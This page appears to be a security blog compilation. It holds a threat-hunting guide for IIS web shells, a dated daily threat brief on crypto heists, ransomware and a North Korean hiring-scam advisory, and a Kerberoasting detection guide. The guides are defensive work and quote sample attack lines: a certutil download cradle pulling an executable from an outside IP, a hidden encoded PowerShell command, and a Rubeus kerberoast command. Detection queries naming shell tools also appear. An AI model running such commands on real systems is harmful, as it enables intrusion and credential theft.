Web Shells on IIS: When w3wp.exe Starts Running cmd.exe, Someone Is Already Inside

There is a special kind of silence on an IIS server right after it has been compromised: the site still serves pages, the app pool still recycles on schedule, and the only thing that changed is a 3 KB .aspx file sitting in a folder nobody audits. A web shell does not crash anything. It just waits for a POST request with the right parameter — and then it hands the attacker a command shell running as the application pool identity.

The initial-access story varies — an unpatched upload endpoint, a deserialization bug, a misused msdeploy publish profile — but the execution story is almost always the same: the IIS worker process, w3wp.exe, spawns cmd.exe or powershell.exe. That parent-child relationship is the single most reliable forensic signal of a live web shell, because a healthy application pool almost never does that.

The hypothesis

An attacker has achieved code execution through an IIS-hosted application and planted or invoked a web shell, detectable as the IIS worker process (w3wp.exe) spawning command shells, script hosts, or encoded PowerShell — behavior with no legitimate counterpart in normal web serving.

Data you'll need

• Microsoft Sentinel / Defender: DeviceProcessEvents (process creation with parent lineage), DeviceFileEvents (new files under inetpub\wwwroot), and IIS logs if forwarded.
• Splunk: Sysmon or Windows Security EventCode=4688 (process creation with command-line auditing enabled), Sysmon EventCode=1/11, or the Endpoint data model.
• Context data: the IIS site's expected webroot paths and the normal app-pool identity list.

Hunting with KQL

The core hunt is a process-lineage query — a child spawned by the worker process:

// Web-shell hunt: w3wp.exe spawning shells or script hosts
DeviceProcessEvents
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe",
                     "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe")
| project TimeGenerated, DeviceName,
          InitiatingProcessAccountName,
          InitiatingProcessCommandLine,
          FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated desc

What this does: it looks for any process whose parent is the IIS worker process and whose executable is a shell or script host. In practice, hits here are rare and precious — I would treat any single result as an active incident until proven otherwise. The ProcessCommandLine column usually reveals the shell's purpose: whoami, certutil -urlcache downloads, or base64-encoded PowerShell (-EncodedCommand) are the classics.

A second KQL pass catches the shell file landing on disk — because a web shell is, at its core, just a file write to a webroot:

// Web-shell file-drop hunt: new script files under IIS webroots
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any (@"\inetpub\wwwroot", @"\wwwroot")
| where FileName endswith ".aspx" or FileName endswith ".ashx"
    or FileName endswith ".asmx" or FileName endswith ".asp"
| where InitiatingProcessFileName !in~ ("msdeploy.exe", "dotnet.exe", "devenv.exe")
| project TimeGenerated, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessAccountName
| order by TimeGenerated desc

Example true-positive row (first query):

DeviceName	WEB01
InitiatingProcessFileName	w3wp.exe (IIS APPPOOL\Portal)
FileName	powershell.exe
ProcessCommandLine	powershell -nop -w hidden -enc aQBmACgAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0ACkA…
TimeGenerated	2026-09-26 03:14 UTC

Decoding that base64 blob is your next five minutes of work — it is almost always a downloader or a stager.

Tracing the initial access: what was in the IIS log?

Correlate the shell's creation timestamp against the IIS W3SVC logs on WEB01 (usually C:\inetpub\logs\LogFiles\W3SVC1). Look for POST requests to the shell's path, unusual PUT/DELETE methods, msdeploy.axd access, or a burst of POSTs to an upload handler minutes before the file appeared. The upload request's source IP is the attacker's real foothold — pivot there for scanning and staging activity.

Hunting with Splunk

The same hunt against 4688 process-creation events (this assumes command-line auditing is enabled — GPO: Audit Process Creation > Include command line):

index=wineventlog EventCode=4688 ParentImage="*\\w3wp.exe"
    Image IN ("*\\cmd.exe", "*\\powershell.exe", "*\\cscript.exe",
              "*\\wscript.exe", "*\\mshta.exe", "*\\rundll32.exe")
| table _time, Computer, Account_Name, ParentImage, Image, CommandLine
| sort - _time

What this does: pulls every child process of the IIS worker process that matches a shell or script-host executable, with the full command line. In the Endpoint data model the equivalent is:

| tstats `security_content_summariesonly` count, values(Processes.process) as processes
  from datamodel=Endpoint.Processes
  where Processes.parent_process_name="w3wp.exe"
        Processes.process_name IN ("cmd.exe","powershell.exe","cscript.exe","wscript.exe","mshta.exe")
  by Processes.dest, Processes.user

Example hit: a single WEB01 row where Image=C:\Windows\System32\cmd.exe and CommandLine=cmd.exe /c certutil -urlcache -split -f http://203.0.113.44/svchost.bin C:\Windows\Temp\up.exe — a textbook web-shell download cradle.

Validating the hit

1. Find the shell on disk. Locate the .aspx/.ashx file (use the file-drop query or Sysmon EventCode 11), hash it, and read its source — the parameter name and the eval/exec call confirm it. Note its creation and last-modified times to bound the compromise window.
2. Decode the command lines. Base64-decode any -EncodedCommand payloads; grep cmd.exe invocations for certutil, bitsadmin, or Invoke-WebRequest download cradles.
3. Reconstruct initial access. Review IIS logs around the shell's creation time for the upload or exploit POST; that tells you whether this was a file-upload flaw, a deserialization bug, or a stolen publish credential — which decides what else is exposed.
4. Check for persistence and pivoting. Look at outbound connections from WEB01 in the compromise window (DeviceNetworkEvents / firewall logs) and at new scheduled tasks or services (4698 / 7045) — web shells are usually the beachhead, not the objective.

Tuning out false positives

• Deployment pipelines — msdeploy.exe, Azure DevOps agents, and Octopus Deploy tentacles legitimately write .aspx files to webroots; exclude by the initiating process or the deploy service account.
• Developer tooling on staging servers (Visual Studio remote debugging, dotnet watch) can trigger file-drop hits; keep staging scopes separate from production hunts.
• Health-check scripts invoked by monitoring occasionally run under an app-pool identity; they almost never spawn interactive shells from w3wp.exe, so the process-lineage query stays quiet.

What to do next

Isolate WEB01 from the network but keep it powered on (memory may hold the attacker's session). Preserve the shell file, the IIS logs, and a disk image for forensics. Patch the exploited vulnerability before the server goes back online — a restored web shell without a patched entry point is just an invitation to return. Rotate every credential the app pool identity could touch: database connection strings, service accounts, and any secrets in the application's config. Finally, promote this hunt to a standing detection: an alert on any w3wp.exe → cmd.exe/powershell.exe lineage is one of the cheapest, highest-fidelity rules you can run on a Windows web estate.

Daily Cyber Threat Brief — September 27, 2026: Bitget Hackers Drain $351.6M; North Korea Suspected

🗂️ CASE FILE — September 27, 2026

Lead story: Crypto exchange Bitget disclosed that attackers drained approximately $351.6 million from hot and warm wallets on September 24 — without ever compromising a private key. The attackers reportedly compromised a backend wallet system and used it to spoof transfer data through Bitget's own authorization-signing process. CEO Gracy Chen said the attack is "consistent with techniques used by DPRK-linked hacker groups," and blockchain intelligence firm Elliptic assessed DPRK attribution as "highly likely." The theft pushes Elliptic's tracked total for suspected North Korean crypto heists in 2026 past $1 billion.

Also covered: Japan's Keio Corporation confirms a ransomware incident hit group servers on September 26, while rail operations continue unaffected · The multi-agency WaterPlum / Contagious Interview advisory details 30,000 infected devices across 100+ countries and $10.7M funneled to North Korea · Ransomware leak-site claims roundup: Everest names Securitas Group, Storm claims Applied Composites and Magna Legal Services, thegentlemen claims Montreal-based Metalware Corporation.

Sources: 7 linked at the end of this brief.

Today's top stories

Two North Korea-linked threads dominate the threat picture this week. The Bitget heist — one of the largest centralized-exchange exploits of 2026 — was executed not by stealing keys but by tricking the exchange's own signing infrastructure into approving fraudulent transfers, a technique that should make every CEX security team uncomfortable. Meanwhile, the joint Japan–US–Australia–Germany advisory on WaterPlum (Contagious Interview) documents the industrial-scale mechanics behind that same regime's long game: fake job interviews, malicious NPM packages, and 30,000 infected developer machines. Elsewhere, Keio Corporation joined the confirmed-victim list after ransomware hit group corporate systems, and a cluster of unverified leak-site claims named targets from a Swedish security giant to a Montreal manufacturer.

Bitget: $351.6M drained via spoofed backend transfers; DPRK suspected, no private keys taken

Bitget's eighth anniversary celebrations were cut short late on September 24, when wallets tagged as belonging to the Seychelles-registered exchange began bleeding funds across multiple chains. Arkham analyst Emmett Gallic flagged the outflows publicly more than an hour before Bitget said anything; by the time CEO Gracy Chen confirmed the incident on X, roughly $183 million had already moved. The final tally: approximately $351.6 million (some analyses put it as high as $387 million once all impacted wallets are counted).

The technical detail is the story here. Chen stated the attack was detected at 18:31 UTC on September 24 and that the breach was confined to Bitget's hot and warm wallet layers — cold storage, held offline, was never touched. More importantly, "private key compromise has been ruled out." Instead, the attackers compromised a backend system within Bitget's wallet infrastructure, used it to spoof transfer data, and rode that forged data straight through the exchange's own authorization-signing process. The system approved transactions it should never have seen.

Stolen assets moved across at least seven networks — Ethereum, XRP Ledger, Arbitrum, Avalanche, Optimism, BSC, and Base — covering ETH, XRP (roughly 40% of the haul), BNB, AVAX, USDT, and USDC. Arkham tracked a burst in which $228 million left Bitget in just 18 minutes. Withdrawals were frozen; deposits and trading continued. Chen pledged that the loss falls within the coverage of Bitget's User Protection Fund (over $464 million) and that customer balances remain accurate.

On attribution: Elliptic assessed on September 25 that "multiple indicators suggest the over $350 million exploit is highly likely to be linked to the DPRK," noting the incident pushes its tracked total of suspected North Korean cryptoasset theft in 2026 past $1 billion. Chen told Reuters that investigators identified IP addresses tied to VPN services previously used by a North Korean hacking group and that the attack pattern resembled earlier DPRK-attributed operations. The specific initial-access vector is still under technical investigation; Bitget says the vulnerability has been fixed and it is working with Mandiant and SlowMist on the probe. Context: last year's Bybit hack ($1.5 billion) was attributed by the FBI to North Korean actors — the playbook is now industrialized.

🔍 Investigation notes — defender takeaway (click to expand)

The Bitget case reframes exchange threat modeling. The industry hardened key management after years of wallet compromises; attackers responded by attacking the trust boundary between backend systems and signing workflows instead. If a backend service can feed fraudulent-but-well-formed transfer requests to an authorization process that trusts them implicitly, key custody becomes irrelevant. Defenders running signing infrastructure should: (1) treat transfer-data integrity as a separate control from key custody — enforce out-of-band validation of transfer parameters before signing; (2) instrument anomaly detection on signing authorization velocity and value (the $228M/18min burst is the kind of deviation that should trip a circuit breaker); (3) assume DPRK-linked actors target crypto-adjacent employment and vendor relationships too — this is the same regime running Contagious Interview against developers (see next story). Monitor wallet-drain IOEs across chains via labeled exploit addresses (Elliptic published labels shortly after first alerts).

Keio Corporation confirms ransomware hit on group servers; rail operations unaffected

Keio Corporation, one of Japan's major railway and transportation groups, confirmed that ransomware affected Keio Group servers on the morning of September 26. The incident disrupted some business systems used by companies within the wider Keio Group, but the company said its railway operations were not affected — the separation between railway infrastructure and impacted corporate systems appears to have prevented the intrusion from disrupting train services.

Keio said it detected the ransomware activity in the early hours of September 26, isolated affected network environments to contain spread, notified law enforcement, and brought in external specialists. At this stage the confirmed facts are narrow: no ransomware group name, no exfiltration volume, and no disruption timeline have been disclosed. A data-exposure investigation is underway. The rail-group case is a useful segmentation success story — whatever network isolation exists between Keio's corporate IT and its railway control systems appears to have held under real pressure.

🔍 Investigation notes — defender takeaway (click to expand)

Segmentation between enterprise IT and operational technology is the headline defensive lesson, and it held here. What remains unknown is the more important question for incident responders: was exfiltration part of the attack? Double-extortion groups routinely encrypt first and disclose theft later; the company's confirmation of ransomware without a named actor or data-impact statement is consistent with early-stage containment. Treat the next Keio disclosure as the one that will matter for third parties (partner organizations, customer data). Until then: review OT/IT segmentation boundaries, verify that backup and recovery of corporate systems does not depend on the same network segments that are likely to be isolated during containment, and confirm ransomware playbooks include law-enforcement notification and external IR retainer activation within hours, not days.

WaterPlum / Contagious Interview: joint advisory documents 30,000 infected devices, $10.7M to North Korea

A joint cybersecurity advisory published September 18 by Japan's National Police Agency and National Cybersecurity Office, the FBI, the U.S. Department of Defense Cyber Crime Center, Australia's Cyber Security Centre, and Germany's BND and BfV attributes a long-running hiring-scam campaign to a North Korean group it calls WaterPlum — the industry's "Contagious Interview" cluster.

The numbers are industrial: between roughly December 2025 and July 2026, WaterPlum infected at least 30,000 devices across more than 100 countries. Funds or account credentials were taken from over 7,000 cryptocurrency wallets, and an estimated ¥1.7 billion (about $10.71 million) was transferred to North Korea. The NPA and FBI assess that WaterPlum operators and some North Korean IT workers answer to the same command: the 313 General Bureau of the Munitions Industry Department, under the Workers' Party of Korea's Central Committee — and both operations were observed using the same IP addresses to access laptop farms and apply for jobs.

The infection vector is social engineering at scale. Actors posed as recruiters for AI, crypto, and NFT companies on social media, job boards, and freelance platforms, then walked candidates through fake technical interviews in which victims were told to download and run files — including malicious NPM packages seeded with BeaverTail, InvisibleFerret, OtterCookie, OtterCandy, and StoatWaffle. StoatWaffle arrived in blockchain-themed Visual Studio Code projects that execute code once the victim trusts the folder. Post-infection tooling harvested browser credentials, keystrokes, screenshots, wallet private keys and seed phrases, and ID documents — and gave the actors a path into victims' employers' networks. The advisory also notes Japan's first-ever takedown of a North Korean laptop farm.

🔍 Investigation notes — defender takeaway (click to expand)

This is the supply chain you forget about: your employees' job searches. Primary targets were developers and Web3 specialists — exactly the people with credentials into build pipelines, cloud consoles, and signing infrastructure. The bridge from this advisory to the Bitget story is the shared command structure and shared IP infrastructure: the same 313 General Bureau ecosystem behind the wallets-drained-by-fake-interview operation is the ecosystem behind the $350M exchange heist. Defender actions: (1) VS Code Restricted Mode for untrusted projects and mandatory tasks.json review before execution — the advisory specifically calls this out; (2) hunt for the named payload families (BeaverTail, InvisibleFerret, OtterCookie, OtterCandy, StoatWaffle) and NPM typosquatting in developer environments; (3) treat compromised personal devices of remote staff as a lateral-movement path into corporate networks — this campaign is explicitly dual-purpose, theft plus enterprise access.

Ransomware leak-site claims roundup: Securitas, Applied Composites, Magna Legal Services, Metalware

A cluster of new leak-site listings surfaced over September 26–27. None are independently confirmed; treat each as a threat-actor claim, not a confirmed breach:

• Everest names Securitas Group. The Swedish security-services multinational appeared on Everest's leak site on September 25 (~16:29 UTC), per threat-intelligence monitoring. No ransom demand, data volume, or samples disclosed; no confirmation from Securitas. A security vendor on a leak site is worth watching — such companies hold client-site and credential data across many customers.
• Storm claims Applied Composites. The U.S. aerospace/defense manufacturer appeared on Storm's listings on September 27. The company makes advanced composite components for aerospace, defense, and space customers — engineering data would be high-value for double extortion. Scope and data theft unconfirmed.
• Storm claims Magna Legal Services. The Philadelphia litigation-support provider (court reporting, depositions, case management for law firms, insurers, and government agencies) was reportedly listed September 27. Disruption to time-sensitive legal services is the immediate risk.
• thegentlemen claims Metalware Corporation. The Montreal-based manufacturer of industrial steel shelving was reportedly listed September 27, with operational disruption claimed in Canada. The Gentlemen emerged around mid-2025 and now lists 800+ victims across 86 countries; ESET reported in June that the gang uses an EDR killer dubbed "GentleKiller."
• Arcus claims Pantaneiro Capas; m3rx claims Cipher.Systems; Barracuda claims International Chemical Co. — ThreatMon-reported listings from September 26–27 with no confirmed compromise.

🔍 Investigation notes — defender takeaway (click to expand)

Leak-site appearances are early-warning telemetry, not verdicts: groups post claims before or without confirmed encryption, and some victims never appear in public reporting. The defensive value is in the pattern — Storm hitting both an aerospace supplier and a legal-services provider in one weekend suggests opportunistic, access-driven targeting rather than sector campaigns. For defenders: if any of these organizations are in your third-party ecosystem, escalate monitoring on vendor VPN/EDR telemetry and ask for their incident communications proactively rather than waiting for a public statement. And if you run the same manufacturing vertical as Metalware (industrial shelving, fabrication), check thegentlemen's published TTPs against your EDR coverage — the GentleKiller EDR-killer tooling means prevention assumptions need revisiting.

Incident timeline

Date	Event	Status
2025-12 → 2026-07	WaterPlum (Contagious Interview) campaign infects 30,000+ devices; $10.7M funneled to North Korea	Documented in joint advisory (Sept 18)
Sept 24, 18:31 UTC	Bitget detects unauthorized transfers from hot/warm wallets; ~$351.6M drained, no private-key compromise	Confirmed by company; withdrawals frozen
Sept 25	Elliptic assesses Bitget exploit "highly likely" DPRK-linked; tracked 2026 DPRK crypto theft passes $1B	Threat-intel assessment
Sept 25, ~16:29 UTC	Everest ransomware lists Securitas Group on leak site	Claim — unconfirmed
Sept 26, morning	Keio Corporation detects ransomware on group servers; rail operations unaffected	Confirmed by company; investigating
Sept 26–27	Storm lists Applied Composites and Magna Legal Services; thegentlemen lists Metalware Corp (Montreal); Arcus, m3rx, Barracuda add listings	Claims — unconfirmed
Ongoing	Bitget fixes vulnerability, engages Mandiant and SlowMist; attribution under investigation	In progress

Sources

1. Crypto exchange Bitget says hackers stole $352m — Moneyweb (Bloomberg)
2. Bitget attack pushes suspected North Korea crypto heists over $1 billion in 2026 — Elliptic
3. Japan's Keio Corporation hit by confirmed ransomware attack — Undercode News
4. Japan dismantles first North Korean laptop farm as US and allies detail wider scheme — SecurityWeek
5. Everest claims Securitas Group: leak-site claim, no breach confirmed — Undercode News
6. Storm ransomware reportedly hits Applied Composites — Undercode News
7. Metalware Corporation faces ransomware claim — Undercode News

Hunting Kerberoasting: When RC4 Ticket Requests Betray the Attacker

The ticket was legitimate. The request was legitimate. That is exactly why Kerberoasting is so hard to spot — the attacker never forges anything, never touches LSASS, never trips an AV signature. They simply ask the domain controller, politely, for a service ticket to a SQL server, take the ticket home, and crack it offline at their leisure. This investigation is about finding the moment they ask.

Kerberoasting targets service accounts whose passwords can be brute-forced offline. Because the ticket is encrypted with the service account's password hash (RC4), anyone who can request a ticket for that service principal name (SPN) gets a free, crackable copy of the hash. The signal is almost always Event ID 4769 — a Kerberos Service Ticket Operation — with RC4 (0x17) encryption, fired off in volume from a workstation that has no business requesting tickets for dozens of services.

The hypothesis

A compromised or malicious user account is requesting service tickets encrypted with the weak RC4 cipher for many different SPNs in a short window — the classic footprint of an offline-cracking (Kerberoasting) enumeration, most often driven by tools like Rubeus or Mimikatz.

Data you'll need

• Microsoft Sentinel / Defender: SecurityEvent (EventID 4769) from domain controllers, plus DeviceProcessEvents for Rubeus/Mimikatz process execution.
• Splunk: index=wineventlog (or your Windows Security event index) with EventCode 4769, or the Authentication data model.
• Context data: SPN-to-service inventory (which service accounts should be ticketed, and by whom).

Hunting with KQL

RC4 is the tell. Modern Windows prefers AES, so a burst of RC4-encrypted TGS requests is worth an investigator's attention:

// Kerberoasting hunt: RC4 service-ticket requests (4769)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"      // RC4-HMAC: the offline-crackable flavor
| where ServiceName !~ "krbtgt"            // exclude the TGT service itself
| where AccountName !~ "krbtgt"
| summarize Requests = count(),
            UniqueSPNs = dcount(ServiceName),
            SPNs = make_set(ServiceName, 25),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
            by AccountName, Computer, IpAddress
| where Requests >= 10 and UniqueSPNs >= 3
| extend WindowMinutes = datetime_diff("minute", LastSeen, FirstSeen)
| project AccountName, Computer, IpAddress, Requests, UniqueSPNs, WindowMinutes, FirstSeen, LastSeen, SPNs
| order by Requests desc

What this does: it isolates Kerberos TGS requests (4769) encrypted with RC4, then rolls them up per requesting account and source machine. The thresholds do the discriminating work — a normal user touches one or two services over a day; an attacker tool like Rubeus kerberoast hammers dozens of SPNs in minutes. dcount(ServiceName) on the SPN field is the key discriminator between a user with one mapped drive and an attacker harvesting a full SPN list.

Example true-positive row:

AccountName	j.doe
Computer	WS-1142
IpAddress	10.4.22.17
Requests / UniqueSPNs	47 requests to 31 distinct SPNs
WindowMinutes	11 minutes
SPNs (sample)	MSSQLSvc/sql01.corp.local:1433, HTTP/webapp02.corp.local, CIFS/filesrv03.corp.local …

A standard user account requesting 47 RC4 tickets across 31 services in 11 minutes from a workstation is not normal logon behavior — it is the harvest phase.

Field walkthrough: corroborating with the Rubeus process

Once the 4769 burst is identified, pivot to the source workstation in DeviceProcessEvents:

DeviceProcessEvents
| where DeviceName == "WS-1142"
| where TimeGenerated between (datetime("2026-09-26 02:00") .. datetime("2026-09-26 03:30"))
| where FileName in~ ("Rubeus.exe", "powershell.exe")
    or ProcessCommandLine has_any ("kerberoast", "asktgt", "tgtdeleg", "Mimikatz")
| project TimeGenerated, FileName, ProcessCommandLine, InitiatingProcessFileName, AccountName

A hit here — e.g., Rubeus.exe kerberoast /outfile:hashes.txt — upgrades the finding from "suspicious ticket pattern" to a confirmed attack tool on the box.

Hunting with Splunk

The same logic against Windows Security events in Splunk:

index=wineventlog EventCode=4769 TicketEncryptionType=0x17 ServiceName!="krbtgt*"
| stats count as requests, dc(ServiceName) as unique_spns,
        values(ServiceName) as spns, min(_time) as first, max(_time) as last
        by AccountName, Computer, IpAddress
| where requests >= 10 AND unique_spns >= 3
| eval duration_min = round((last - first)/60, 1)
| sort - requests
| table AccountName, Computer, IpAddress, requests, unique_spns, duration_min, first, last, spns

What this does: filters to EventCode 4769 with RC4 encryption, groups by the requesting account and source, and applies the same volume-plus-diversity threshold. Watch for field-name drift — in some CIM-normalized sources the encryption field may appear as Ticket_Encryption_Type; normalize it with an alias before the where clause if needed.

Example hit: a single row for j.doe / WS-1142 showing requests=47, unique_spns=31, duration_min=11. In a small environment, expect this search to return only a handful of rows — review each one.

Validating the hit

1. Verify the SPNs are real. Confirm the requested service names map to genuine domain SPNs (use setspn -Q or your SPN inventory). Attackers sometimes request SPNs that don't exist — both patterns are worth flagging.
2. Check the workstation. Look at the 11-minute window on WS-1142 for process creation (4688): Rubeus, Mimikatz, renamed binaries, or PowerShell with -EncodedCommand.
3. Profile the account. Is j.doe an IT admin who might legitimately test tools, or a finance user whose credentials were stolen last week? Cross-reference recent 4624/4672 logons and any password-change activity.
4. Check whether the crack succeeded. Look for anomalous logons as the service accounts in the hours after the ticket burst — that is how you find out whether the attacker actually recovered a password.

Tuning out false positives

• Legacy applications that only speak RC4 will generate steady, low-volume 4769/0x17 traffic to one or two SPNs — the volume and SPN-diversity thresholds exclude them by design.
• Vulnerability scanners (Tenable, Qualys agents) sometimes enumerate SPNs aggressively; baseline your scanner service accounts and source hosts so you can exclude them with a watchlist.
• Administrative tooling that touches many services at once (backup agents, monitoring) can look bursty — allowlist by known account/host pairs rather than by encryption type alone.
• Non-Windows Kerberos clients defaulting to RC4 may inflate single-SPN counts; the unique-SPN threshold is what saves you here.

What to do next

If the hit validates, treat every ticketed service account as potentially compromised: rotate the service-account passwords immediately (long, random — 25+ characters), review SPN registrations for tampering, and force re-authentication of j.doe. Longer-term, disable RC4 for Kerberos where possible (AES is supported everywhere that matters in 2026), add this 4769/0x17 pattern as a standing detection rule, and consider alerting on SPN enumeration (rapid 4769 bursts) as its own analytic — because by the time the cracking finishes, the lateral movement has already started.